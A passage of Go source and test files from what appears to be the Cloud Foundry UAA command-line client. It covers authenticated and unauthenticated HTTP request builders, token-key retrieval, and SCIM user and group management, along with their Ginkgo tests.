ItBuildsUrlsFromUaaContext := func() {
Describe("Get", func() {
It("builds a GET request", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.Get(config.GetActiveTarget(), "foo", "")
Expect(req.Method).To(Equal("GET"))
})
It("builds requests from UaaContext", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.Get(config.GetActiveTarget(), "foo", "")
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo"))
req, _ = factory.Get(config.GetActiveTarget(), "/foo", "scheme=openid")
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo?scheme=openid"))
})
It("sets an Accept header", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.Get(config.GetActiveTarget(), "foo", "")
Expect(req.Header.Get("Accept")).To(Equal("application/json"))
})
It("handles path slashes", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.Get(config.GetActiveTarget(), "/foo", "")
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo"))
config = NewConfigWithServerURL("http://www.localhost.com/")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.Get(config.GetActiveTarget(), "foo", "")
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo"))
config = NewConfigWithServerURL("http://www.localhost.com/")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.Get(config.GetActiveTarget(), "/foo", "")
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo"))
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.Get(config.GetActiveTarget(), "foo", "")
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo"))
})
It("accepts a query string", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.Get(config.GetActiveTarget(), "/foo", "scheme=openid&foo=bar")
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo?scheme=openid&foo=bar"))
})
})
Describe("PostForm", func() {
It("builds a POST request", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostForm(config.GetActiveTarget(), "foo", "", &url.Values{})
Expect(req.Method).To(Equal("POST"))
})
It("sets an Accept header", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostForm(config.GetActiveTarget(), "foo", "", &url.Values{})
Expect(req.Header.Get("Accept")).To(Equal("application/json"))
})
It("sets Content-Type header", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostForm(config.GetActiveTarget(), "foo", "", &url.Values{})
Expect(req.Header.Get("Content-Type")).To(Equal("application/x-www-form-urlencoded"))
})
It("sets a url-encoded body and Content-Length header", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
data := url.Values{}
data.Add("client_id", "login")
data.Add("client_secret", "loginsecret")
data.Add("grant_type", "client_credentials")
data.Add("token_format", "opaque")
data.Add("response_type", "token")
req, _ = factory.PostForm(config.GetActiveTarget(), "foo", "", &data)
Expect(req.Header.Get("Content-Length")).To(Equal(strconv.Itoa(len(data.Encode()))))
reqBody, _ := ioutil.ReadAll(req.Body)
Expect(string(reqBody)).To(ContainSubstring("client_id=login"))
Expect(string(reqBody)).To(ContainSubstring("client_secret=loginsecret"))
Expect(string(reqBody)).To(ContainSubstring("grant_type=client_credentials"))
Expect(string(reqBody)).To(ContainSubstring("token_format=opaque"))
Expect(string(reqBody)).To(ContainSubstring("response_type=token"))
Expect(string(reqBody)).To(HaveLen(len("client_id=login&client_secret=loginsecret&grant_type=client_credentials&token_format=opaque&response_type=token")))
})
It("builds requests from UaaContext", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostForm(config.GetActiveTarget(), "foo", "", &url.Values{})
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo"))
req, _ = factory.PostForm(config.GetActiveTarget(), "/foo", "scheme=openid", &url.Values{})
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo?scheme=openid"))
})
It("accepts a query string", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostForm(config.GetActiveTarget(), "/foo", "scheme=openid&foo=bar", &url.Values{})
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo?scheme=openid&foo=bar"))
})
})
Describe("PostJson", func() {
var dataToPost TestData
BeforeEach(func() {
dataToPost = TestData{Field1: "foo", Field2: "bar"}
})
It("builds a POST request", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostJson(config.GetActiveTarget(), "/foo", "", dataToPost)
Expect(req.Method).To(Equal("POST"))
})
It("sets an Accept header", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostJson(config.GetActiveTarget(), "foo", "", dataToPost)
Expect(req.Header.Get("Accept")).To(Equal("application/json"))
})
It("sets Content-Type header", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostJson(config.GetActiveTarget(), "foo", "", dataToPost)
Expect(req.Header.Get("Content-Type")).To(Equal("application/json"))
})
It("sets a json body and Content-Length header", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
expectedBody := `{"Field1":"foo","Field2":"bar"}`
req, _ = factory.PostJson(config.GetActiveTarget(), "foo", "", dataToPost)
Expect(req.Header.Get("Content-Length")).To(Equal(strconv.Itoa(len(expectedBody))))
reqBody, _ := ioutil.ReadAll(req.Body)
Expect(string(reqBody)).To(MatchJSON(expectedBody))
})
It("builds requests from UaaContext", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostJson(config.GetActiveTarget(), "foo", "", dataToPost)
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo"))
req, _ = factory.PostJson(config.GetActiveTarget(), "/foo", "scheme=openid", dataToPost)
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo?scheme=openid"))
})
It("accepts a query string", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
config.AddContext(NewContextWithToken("access_token"))
req, _ = factory.PostJson(config.GetActiveTarget(), "/foo", "scheme=openid&foo=bar", dataToPost)
Expect(req.URL.String()).To(Equal("http://www.localhost.com/foo?scheme=openid&foo=bar"))
})
})
}
Describe("UnauthenticatedRequestFactory", func() {
BeforeEach(func() {
factory = UnauthenticatedRequestFactory{}
config = NewConfigWithServerURL("http://www.localhost.com")
context = UaaContext{}
config.AddContext(context)
})
ItBuildsUrlsFromUaaContext()
})
Describe("AuthenticatedRequestFactory", func() {
BeforeEach(func() {
factory = AuthenticatedRequestFactory{}
config = NewConfigWithServerURL("http://www.localhost.com")
context = NewContextWithToken("access_token")
config.AddContext(context)
})
ItBuildsUrlsFromUaaContext()
It("adds an Authorization header when GET", func() {
req, _ = factory.Get(config.GetActiveTarget(), "foo", "")
Expect(req.Header.Get("Authorization")).To(Equal("bearer access_token"))
})
It("adds an Authorization header when POST", func() {
req, _ = factory.PostForm(config.GetActiveTarget(), "foo", "", &url.Values{})
Expect(req.Header.Get("Authorization")).To(Equal("bearer access_token"))
})
It("returns an error when context has no token", func() {
config = NewConfigWithServerURL("http://www.localhost.com")
context.AccessToken = ""
config.AddContext(context)
_, err := factory.Get(config.GetActiveTarget(), "foo", "")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(Equal("An access token is required to call http://www.localhost.com/foo"))
})
})
})
<file_sep>/uaa/token_keys.go
package uaa
import (
"encoding/json"
"net/http"
)
type Keys struct {
Keys []JWK
}
func TokenKeys(client *http.Client, config Config) ([]JWK, error) {
body, err := UnauthenticatedRequester{}.Get(client, config, "/token_keys", "")
if err != nil {
key, err := TokenKey(client, config)
return []JWK{key}, err
}
keys := Keys{}
err = json.Unmarshal(body, &keys)
if err != nil {
return []JWK{}, parseError("/token_keys", body)
}
return keys.Keys, nil
}
<file_sep>/uaa/groups.go
package uaa
import (
"encoding/json"
"errors"
"fmt"
"net/http"
"net/url"
"strconv"
)
type ScimGroupMember struct {
Origin string `json:"origin,omitempty"`
Type string `json:"type,omitempty"`
Value string `json:"value,omitempty"`
}
type ScimGroup struct {
ID string `json:"id,omitempty"`
Meta *ScimMetaInfo `json:"meta,omitempty"`
DisplayName string `json:"displayName,omitempty"`
ZoneID string `json:"zoneId,omitempty"`
Description string `json:"description,omitempty"`
Members []ScimGroupMember `json:"members,omitempty"`
Schemas []string `json:"schemas,omitempty"`
}
type PaginatedGroupList struct {
Resources []ScimGroup `json:"resources"`
StartIndex int32 `json:"startIndex"`
ItemsPerPage int32 `json:"itemsPerPage"`
TotalResults int32 `json:"totalResults"`
Schemas []string `json:"schemas"`
}
type GroupManager struct {
HttpClient *http.Client
Config Config
}
type GroupMembership struct {
Origin string `json:"origin"`
Type string `json:"type"`
Value string `json:"value"`
}
func (gm GroupManager) AddMember(groupID, userID string) error {
url := fmt.Sprintf("/Groups/%s/members", groupID)
membership := GroupMembership{Origin: "uaa", Type: "USER", Value: userID}
_, err := AuthenticatedRequester{}.PostJson(gm.HttpClient, gm.Config, url, "", membership)
if err != nil {
return err
}
return nil
}
func (gm GroupManager) Get(groupID string) (ScimGroup, error) {
url := "/Groups/" + groupID
bytes, err := AuthenticatedRequester{}.Get(gm.HttpClient, gm.Config, url, "")
if err != nil {
return ScimGroup{}, err
}
group := ScimGroup{}
err = json.Unmarshal(bytes, &group)
if err != nil {
return ScimGroup{}, parseError(url, bytes)
}
return group, err
}
func (gm GroupManager) GetByName(name, attributes string) (ScimGroup, error) {
if name == "" {
return ScimGroup{}, errors.New("Group name may not be blank.")
}
filter := fmt.Sprintf(`displayName eq "%v"`, name)
groups, err := gm.List(filter, "", attributes, "", 0, 0)
if err != nil {
return ScimGroup{}, err
}
if len(groups.Resources) == 0 {
return ScimGroup{}, fmt.Errorf("Group %v not found.", name)
}
return groups.Resources[0], nil
}
func (gm GroupManager) List(filter, sortBy, attributes string, sortOrder ScimSortOrder, startIdx, count int) (PaginatedGroupList, error) {
endpoint := "/Groups"
query := url.Values{}
if filter != "" {
query.Add("filter", filter)
}
if attributes != "" {
query.Add("attributes", attributes)
}
if sortBy != "" {
query.Add("sortBy", sortBy)
}
if count != 0 {
query.Add("count", strconv.Itoa(count))
}
if startIdx != 0 {
query.Add("startIndex", strconv.Itoa(startIdx))
}
if sortOrder != "" {
query.Add("sortOrder", string(sortOrder))
}
bytes, err := AuthenticatedRequester{}.Get(gm.HttpClient, gm.Config, endpoint, query.Encode())
if err != nil {
return PaginatedGroupList{}, err
}
groupsResp := PaginatedGroupList{}
err = json.Unmarshal(bytes, &groupsResp)
if err != nil {
return PaginatedGroupList{}, parseError(endpoint, bytes)
}
return groupsResp, err
}
func (gm GroupManager) Create(toCreate ScimGroup) (ScimGroup, error) {
url := "/Groups"
bytes, err := AuthenticatedRequester{}.PostJson(gm.HttpClient, gm.Config, url, "", toCreate)
if err != nil {
return ScimGroup{}, err
}
created := ScimGroup{}
err = json.Unmarshal(bytes, &created)
if err != nil {
return ScimGroup{}, parseError(url, bytes)
}
return created, err
}
func (gm GroupManager) Update(toUpdate ScimGroup) (ScimGroup, error) {
url := "/Groups"
bytes, err := AuthenticatedRequester{}.PutJson(gm.HttpClient, gm.Config, url, "", toUpdate)
if err != nil {
return ScimGroup{}, err
}
updated := ScimGroup{}
err = json.Unmarshal(bytes, &updated)
if err != nil {
return ScimGroup{}, parseError(url, bytes)
}
return updated, err
}
func (gm GroupManager) Delete(groupID string) (ScimGroup, error) {
url := "/Groups/" + groupID
bytes, err := AuthenticatedRequester{}.Delete(gm.HttpClient, gm.Config, url, "")
if err != nil {
return ScimGroup{}, err
}
deleted := ScimGroup{}
err = json.Unmarshal(bytes, &deleted)
if err != nil {
return ScimGroup{}, parseError(url, bytes)
}
return deleted, err
}
<file_sep>/uaa/token_keys_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("TokenKeys", func() {
var (
server *ghttp.Server
client *http.Client
config Config
tokenKeysJson string
)
BeforeEach(func() {
server = ghttp.NewServer()
client = &http.Client{}
config = NewConfigWithServerURL(server.URL())
})
AfterEach(func() {
server.Close()
})
Context("when /token_keys endpoint is available", func() {
BeforeEach(func() {
tokenKeysJson = `{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "sha2-2017-01-20-key",
"alg": "RS256",
"value": "-----<KEY>",
"n": "<KEY>"
},
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "legacy-token-key",
"alg": "RS256",
"value": "-----<KEY>",
"n": "<KEY>"
}
]
}`
})
It("calls the /token_keys endpoint", func() {
server.RouteToHandler("GET", "/token_keys", ghttp.CombineHandlers(
ghttp.RespondWith(200, tokenKeysJson),
ghttp.VerifyRequest("GET", "/token_keys", ""),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
keys, _ := TokenKeys(client, config)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(keys[0].Kty).To(Equal("RSA"))
Expect(keys[0].E).To(Equal("AQAB"))
Expect(keys[0].Use).To(Equal("sig"))
Expect(keys[0].Kid).To(Equal("sha2-2017-01-20-key"))
Expect(keys[0].Alg).To(Equal("RS256"))
Expect(keys[0].Value).To(Equal("-----<KEY>"))
Expect(keys[0].N).To(Equal("<KEY>"))
Expect(keys[1].Kid).To(Equal("legacy-token-key"))
})
It("returns a helpful error when response cannot be parsed", func() {
server.RouteToHandler("GET", "/token_keys", ghttp.CombineHandlers(
ghttp.RespondWith(200, "{unparsable}"),
ghttp.VerifyRequest("GET", "/token_keys", ""),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
_, err := TokenKeys(client, config)
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while parsing response from"))
})
})
Context("for older UAAs missing the /token_keys endpoint", func() {
var tokenKeyJson string = `{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "sha2-2017-01-20-key",
"alg": "RS256",
"value": "-----<KEY>",
"n": "<KEY>"
}`
It("falls back to /token_key endpoint", func() {
server.RouteToHandler("GET", "/token_keys", ghttp.CombineHandlers(
ghttp.RespondWith(404, "not found"),
ghttp.VerifyRequest("GET", "/token_keys", ""),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
server.RouteToHandler("GET", "/token_key", ghttp.CombineHandlers(
ghttp.RespondWith(200, tokenKeyJson),
ghttp.VerifyRequest("GET", "/token_key"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
keys, _ := TokenKeys(client, config)
Expect(server.ReceivedRequests()).To(HaveLen(2))
Expect(keys).To(HaveLen(1))
Expect(keys[0].Kty).To(Equal("RSA"))
Expect(keys[0].E).To(Equal("AQAB"))
Expect(keys[0].Use).To(Equal("sig"))
Expect(keys[0].Kid).To(Equal("sha2-2017-01-20-key"))
Expect(keys[0].Alg).To(Equal("RS256"))
Expect(keys[0].Value).To(Equal("-----<KEY>"))
Expect(keys[0].N).To(Equal("<KEY>"))
})
})
})
<file_sep>/cmd/http_client.go
package cmd
import (
"crypto/tls"
"net/http"
"time"
"code.cloudfoundry.org/uaa-cli/uaa"
)
func GetHttpClient() *http.Client {
return GetHttpClientWithConfig(GetSavedConfig())
}
// This should really only be called directly by the target
// command, as it wants to build an http client before saving
// the new target.
func GetHttpClientWithConfig(config uaa.Config) *http.Client {
var client = &http.Client{
Timeout: 60 * time.Second,
}
if config.GetActiveTarget().SkipSSLValidation {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client.Transport = tr
}
return client
}
<file_sep>/uaa/http_request_factory.go
package uaa
import (
"bytes"
"code.cloudfoundry.org/uaa-cli/utils"
"encoding/json"
"errors"
"net/http"
"net/url"
"strconv"
)
type HttpRequestFactory interface {
Get(Target, string, string) (*http.Request, error)
Delete(Target, string, string) (*http.Request, error)
PostForm(Target, string, string, *url.Values) (*http.Request, error)
PostJson(Target, string, string, interface{}) (*http.Request, error)
PutJson(Target, string, string, interface{}) (*http.Request, error)
}
type UnauthenticatedRequestFactory struct{}
type AuthenticatedRequestFactory struct{}
func (urf UnauthenticatedRequestFactory) Get(target Target, path string, query string) (*http.Request, error) {
targetUrl, err := utils.BuildUrl(target.BaseUrl, path)
if err != nil {
return nil, err
}
targetUrl.RawQuery = query
req, err := http.NewRequest("GET", targetUrl.String(), nil)
if err != nil {
return nil, err
}
req.Header.Add("Accept", "application/json")
return req, nil
}
func (urf UnauthenticatedRequestFactory) Delete(target Target, path string, query string) (*http.Request, error) {
targetUrl, err := utils.BuildUrl(target.BaseUrl, path)
if err != nil {
return nil, err
}
targetUrl.RawQuery = query
req, err := http.NewRequest("DELETE", targetUrl.String(), nil)
if err != nil {
return nil, err
}
req.Header.Add("Accept", "application/json")
return req, nil
}
func (urf UnauthenticatedRequestFactory) PostForm(target Target, path string, query string, data *url.Values) (*http.Request, error) {
targetUrl, err := utils.BuildUrl(target.BaseUrl, path)
if err != nil {
return nil, err
}
targetUrl.RawQuery = query
bodyBytes := []byte(data.Encode())
req, err := http.NewRequest("POST", targetUrl.String(), bytes.NewBuffer(bodyBytes))
if err != nil {
return nil, err
}
req.Header.Add("Accept", "application/json")
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
req.Header.Add("Content-Length", strconv.Itoa(len(bodyBytes)))
return req, nil
}
func (urf UnauthenticatedRequestFactory) PostJson(target Target, path string, query string, objToJsonify interface{}) (*http.Request, error) {
targetUrl, err := utils.BuildUrl(target.BaseUrl, path)
if err != nil {
return nil, err
}
targetUrl.RawQuery = query
objectJson, err := json.Marshal(objToJsonify)
if err != nil {
return nil, err
}
bodyBytes := []byte(objectJson)
req, err := http.NewRequest("POST", targetUrl.String(), bytes.NewBuffer(bodyBytes))
if err != nil {
return nil, err
}
req.Header.Add("Accept", "application/json")
req.Header.Add("Content-Type", "application/json")
req.Header.Add("Content-Length", strconv.Itoa(len(bodyBytes)))
return req, nil
}
func (urf UnauthenticatedRequestFactory) PutJson(target Target, path string, query string, objToJsonify interface{}) (*http.Request, error) {
targetUrl, err := utils.BuildUrl(target.BaseUrl, path)
if err != nil {
return nil, err
}
targetUrl.RawQuery = query
objectJson, err := json.Marshal(objToJsonify)
if err != nil {
return nil, err
}
bodyBytes := []byte(objectJson)
req, err := http.NewRequest("PUT", targetUrl.String(), bytes.NewBuffer(bodyBytes))
if err != nil {
return nil, err
}
req.Header.Add("Accept", "application/json")
req.Header.Add("Content-Type", "application/json")
req.Header.Add("Content-Length", strconv.Itoa(len(bodyBytes)))
return req, nil
}
func (urf UnauthenticatedRequestFactory) PatchJson(target Target, path string, query string, objToJsonify interface{}) (*http.Request, error) {
targetUrl, err := utils.BuildUrl(target.BaseUrl, path)
if err != nil {
return nil, err
}
targetUrl.RawQuery = query
objectJson, err := json.Marshal(objToJsonify)
if err != nil {
return nil, err
}
bodyBytes := []byte(objectJson)
req, err := http.NewRequest("PATCH", targetUrl.String(), bytes.NewBuffer(bodyBytes))
if err != nil {
return nil, err
}
req.Header.Add("Accept", "application/json")
req.Header.Add("Content-Type", "application/json")
req.Header.Add("Content-Length", strconv.Itoa(len(bodyBytes)))
return req, nil
}
func addAuthorization(req *http.Request, ctx UaaContext) (*http.Request, error) {
accessToken := ctx.AccessToken
req.Header.Add("Authorization", "bearer "+accessToken)
if accessToken == "" {
return nil, errors.New("An access token is required to call " + req.URL.String())
}
return req, nil
}
func (arf AuthenticatedRequestFactory) Get(target Target, path string, query string) (*http.Request, error) {
req, err := UnauthenticatedRequestFactory{}.Get(target, path, query)
if err != nil {
return nil, err
}
return addAuthorization(req, target.GetActiveContext())
}
func (arf AuthenticatedRequestFactory) Delete(target Target, path string, query string) (*http.Request, error) {
req, err := UnauthenticatedRequestFactory{}.Delete(target, path, query)
if err != nil {
return nil, err
}
return addAuthorization(req, target.GetActiveContext())
}
func (arf AuthenticatedRequestFactory) PostForm(target Target, path string, query string, data *url.Values) (*http.Request, error) {
req, err := UnauthenticatedRequestFactory{}.PostForm(target, path, query, data)
if err != nil {
return nil, err
}
return addAuthorization(req, target.GetActiveContext())
}
func (arf AuthenticatedRequestFactory) PostJson(target Target, path string, query string, objToJsonify interface{}) (*http.Request, error) {
req, err := UnauthenticatedRequestFactory{}.PostJson(target, path, query, objToJsonify)
if err != nil {
return nil, err
}
return addAuthorization(req, target.GetActiveContext())
}
func (arf AuthenticatedRequestFactory) PutJson(target Target, path string, query string, objToJsonify interface{}) (*http.Request, error) {
req, err := UnauthenticatedRequestFactory{}.PutJson(target, path, query, objToJsonify)
if err != nil {
return nil, err
}
return addAuthorization(req, target.GetActiveContext())
}
func (arf AuthenticatedRequestFactory) PatchJson(target Target, path string, query string, objToJsonify interface{}) (*http.Request, error) {
req, err := UnauthenticatedRequestFactory{}.PatchJson(target, path, query, objToJsonify)
if err != nil {
return nil, err
}
return addAuthorization(req, target.GetActiveContext())
}
<file_sep>/cmd/list_users_test.go
package cmd_test
import (
"code.cloudfoundry.org/uaa-cli/config"
. "code.cloudfoundry.org/uaa-cli/fixtures"
"code.cloudfoundry.org/uaa-cli/uaa"
"fmt"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/onsi/gomega/gexec"
. "github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("ListUsers", func() {
var userListResponse string
BeforeEach(func() {
cfg := uaa.NewConfigWithServerURL(server.URL())
cfg.AddContext(uaa.NewContextWithToken("access_token"))
config.WriteConfig(cfg)
userListResponse = fmt.Sprintf(PaginatedResponseTmpl, MarcusUserResponse, DrSeussUserResponse)
})
It("executes SCIM queries based on flags", func() {
server.RouteToHandler("GET", "/Users", CombineHandlers(
VerifyRequest("GET", "/Users", "filter=verified+eq+false&attributes=id%2CuserName&sortBy=userName&sortOrder=descending&count=50&startIndex=100"),
RespondWith(http.StatusOK, userListResponse),
))
session := runCommand("list-users",
"--filter", "verified eq false",
"--attributes", "id,userName",
"--sortBy", "userName",
"--sortOrder", "descending",
"--count", "50",
"--startIndex", "100")
Eventually(session).Should(Exit(0))
})
It("understands the --zone flag", func() {
server.RouteToHandler("GET", "/Users", CombineHandlers(
VerifyRequest("GET", "/Users", "filter=verified+eq+false&attributes=id%2CuserName&sortBy=userName&sortOrder=descending&count=50&startIndex=100"),
VerifyHeaderKV("X-Identity-Zone-Subdomain", "foozone"),
RespondWith(http.StatusOK, userListResponse),
))
session := runCommand("list-users",
"--filter", "verified eq false",
"--attributes", "id,userName",
"--sortBy", "userName",
"--sortOrder", "descending",
"--count", "50",
"--startIndex", "100",
"--zone", "foozone")
Eventually(session).Should(Exit(0))
})
})
<file_sep>/config/config_unix_test.go
// +build !windows
package config_test
import (
"os"
"path"
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Config", func() {
var cfg uaa.Config
BeforeEach(func() {
cfg = uaa.Config{}
cfg.AddContext(uaa.NewContextWithToken("foo"))
})
It("set appropriate permissions for persisted files", func() {
config.WriteConfig(cfg)
parentStat, _ := os.Stat(path.Dir(config.ConfigPath()))
Expect(parentStat.Mode().String()).To(Equal("drwxr-xr-x"))
fileStat, _ := os.Stat(config.ConfigPath())
Expect(fileStat.Mode().String()).To(Equal("-rw-------"))
})
})
<file_sep>/uaa/users.go
package uaa
import (
"encoding/json"
"errors"
"fmt"
"net/http"
"net/url"
"strconv"
"code.cloudfoundry.org/uaa-cli/utils"
)
type ScimMetaInfo struct {
Version int `json:"version,omitempty"`
Created string `json:"created,omitempty"`
LastModified string `json:"lastModified,omitempty"`
}
type ScimUserName struct {
FamilyName string `json:"familyName,omitempty"`
GivenName string `json:"givenName,omitempty"`
}
type ScimUserEmail struct {
Value string `json:"value,omitempty"`
Primary *bool `json:"primary,omitempty"`
}
type ScimUserGroup struct {
Value string `json:"value,omitempty"`
Display string `json:"display,omitempty"`
Type string `json:"type,omitempty"`
}
type Approval struct {
UserId string `json:"userId,omitempty"`
ClientId string `json:"clientId,omitempty"`
Scope string `json:"scope,omitempty"`
Status string `json:"status,omitempty"`
LastUpdatedAt string `json:"lastUpdatedAt,omitempty"`
ExpiresAt string `json:"expiresAt,omitempty"`
}
type PhoneNumber struct {
Value string `json:"value"`
}
type ScimUser struct {
ID string `json:"id,omitempty"`
Password string `json:"<PASSWORD>,omitempty"`
ExternalId string `json:"externalId,omitempty"`
Meta *ScimMetaInfo `json:"meta,omitempty"`
Username string `json:"userName,omitempty"`
Name *ScimUserName `json:"name,omitempty"`
Emails []ScimUserEmail `json:"emails,omitempty"`
Groups []ScimUserGroup `json:"groups,omitempty"`
Approvals []Approval `json:"approvals,omitempty"`
PhoneNumbers []PhoneNumber `json:"phoneNumbers,omitempty"`
Active *bool `json:"active,omitempty"`
Verified *bool `json:"verified,omitempty"`
Origin string `json:"origin,omitempty"`
ZoneId string `json:"zoneId,omitempty"`
PasswordLastModified string `json:"passwordLastModified,omitempty"`
PreviousLogonTime int `json:"previousLogonTime,omitempty"`
LastLogonTime int `json:"lastLogonTime,omitempty"`
Schemas []string `json:"schemas,omitempty"`
}
type UserManager struct {
HttpClient *http.Client
Config Config
}
type PaginatedUserList struct {
Resources []ScimUser `json:"resources"`
StartIndex int32 `json:"startIndex"`
ItemsPerPage int32 `json:"itemsPerPage"`
TotalResults int32 `json:"totalResults"`
Schemas []string `json:"schemas"`
}
func (um UserManager) Get(userId string) (ScimUser, error) {
url := "/Users/" + userId
bytes, err := AuthenticatedRequester{}.Get(um.HttpClient, um.Config, url, "")
if err != nil {
return ScimUser{}, err
}
user := ScimUser{}
err = json.Unmarshal(bytes, &user)
if err != nil {
return ScimUser{}, parseError(url, bytes)
}
return user, err
}
func (um UserManager) GetByUsername(username, origin, attributes string) (ScimUser, error) {
if username == "" {
return ScimUser{}, errors.New("Username may not be blank.")
}
var filter string
if origin != "" {
filter = fmt.Sprintf(`userName eq "%v" and origin eq "%v"`, username, origin)
users, err := um.List(filter, "", attributes, "", 0, 0)
if err != nil {
return ScimUser{}, err
}
if len(users.Resources) == 0 {
return ScimUser{}, fmt.Errorf(`User %v not found in origin %v`, username, origin)
}
return users.Resources[0], nil
}
filter = fmt.Sprintf(`userName eq "%v"`, username)
users, err := um.List(filter, "", attributes, "", 0, 0)
if err != nil {
return ScimUser{}, err
}
if len(users.Resources) == 0 {
return ScimUser{}, fmt.Errorf("User %v not found.", username)
}
if len(users.Resources) > 1 {
var foundOrigins []string
for _, user := range users.Resources {
foundOrigins = append(foundOrigins, user.Origin)
}
msgTmpl := "Found users with username %v in multiple origins %v."
msg := fmt.Sprintf(msgTmpl, username, utils.StringSliceStringifier(foundOrigins))
return ScimUser{}, errors.New(msg)
}
return users.Resources[0], nil
}
type ScimSortOrder string
const (
SORT_ASCENDING = ScimSortOrder("ascending")
SORT_DESCENDING = ScimSortOrder("descending")
)
func (um UserManager) List(filter, sortBy, attributes string, sortOrder ScimSortOrder, startIdx, count int) (PaginatedUserList, error) {
endpoint := "/Users"
query := url.Values{}
if filter != "" {
query.Add("filter", filter)
}
if attributes != "" {
query.Add("attributes", attributes)
}
if sortBy != "" {
query.Add("sortBy", sortBy)
}
if count != 0 {
query.Add("count", strconv.Itoa(count))
}
if startIdx != 0 {
query.Add("startIndex", strconv.Itoa(startIdx))
}
if sortOrder != "" {
query.Add("sortOrder", string(sortOrder))
}
bytes, err := AuthenticatedRequester{}.Get(um.HttpClient, um.Config, endpoint, query.Encode())
if err != nil {
return PaginatedUserList{}, err
}
usersResp := PaginatedUserList{}
err = json.Unmarshal(bytes, &usersResp)
if err != nil {
return PaginatedUserList{}, parseError(endpoint, bytes)
}
return usersResp, err
}
func (um UserManager) Create(toCreate ScimUser) (ScimUser, error) {
url := "/Users"
bytes, err := AuthenticatedRequester{}.PostJson(um.HttpClient, um.Config, url, "", toCreate)
if err != nil {
return ScimUser{}, err
}
created := ScimUser{}
err = json.Unmarshal(bytes, &created)
if err != nil {
return ScimUser{}, parseError(url, bytes)
}
return created, err
}
func (um UserManager) Update(toUpdate ScimUser) (ScimUser, error) {
url := "/Users"
bytes, err := AuthenticatedRequester{}.PutJson(um.HttpClient, um.Config, url, "", toUpdate)
if err != nil {
return ScimUser{}, err
}
updated := ScimUser{}
err = json.Unmarshal(bytes, &updated)
if err != nil {
return ScimUser{}, parseError(url, bytes)
}
return updated, err
}
func (um UserManager) Delete(userId string) (ScimUser, error) {
url := "/Users/" + userId
bytes, err := AuthenticatedRequester{}.Delete(um.HttpClient, um.Config, url, "")
if err != nil {
return ScimUser{}, err
}
deleted := ScimUser{}
err = json.Unmarshal(bytes, &deleted)
if err != nil {
return ScimUser{}, parseError(url, bytes)
}
return deleted, err
}
func (um UserManager) Deactivate(userID string, userMetaVersion int) error {
return um.setActive(false, userID, userMetaVersion)
}
func (um UserManager) Activate(userID string, userMetaVersion int) error {
return um.setActive(true, userID, userMetaVersion)
}
func (um UserManager) setActive(active bool, userID string, userMetaVersion int) error {
url := "/Users/" + userID
user := ScimUser{}
user.Active = &active
